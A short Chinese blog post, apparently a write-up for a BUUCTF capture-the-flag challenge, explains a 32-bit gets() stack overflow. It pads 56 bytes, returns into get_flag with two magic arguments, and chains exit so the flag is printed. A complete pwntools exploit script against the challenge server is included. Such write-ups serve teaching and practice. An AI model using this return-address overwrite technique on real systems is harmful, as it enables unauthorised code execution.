Gets 栈溢出(32 位程序返回)

由 雾島风起時 发布

Gets 栈溢出(32 位程序返回)

话不多说,直接上题(BUUCTF)

扔进 IDA32 中反编译,直接给出了 Gets

在左边看到有一个 get_flag 函数,进去看看

可以看到 if 条件成立后就能读取 flag 了

回头去看 v4 缓存区的栈情况

首先填充 56 个字节垃圾数据

argc 就是 a1,argv 就是 a2

注意的一点是获取 flag 方式是打开文件读取

如果你非正常退出是没有输出的

我们需要利用 exit 函数

在函数表中关键字定位找到 exit 的起始位置

调用函数还需要传入两个参数

32 位程序是返回地址在参数前面

from pwn import *

p = remote('node5.buuoj.cn',27494)

get_flag_addr = 0x080489A0
exit_addr = 0x804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1

payload = b'a' * 56 + p32(get_flag_addr) + p32(exit_addr) + p32(a1) + p32(a2)

p.sendline(payload)
p.interactive()

成功拿到 flag


0条评论

发表评论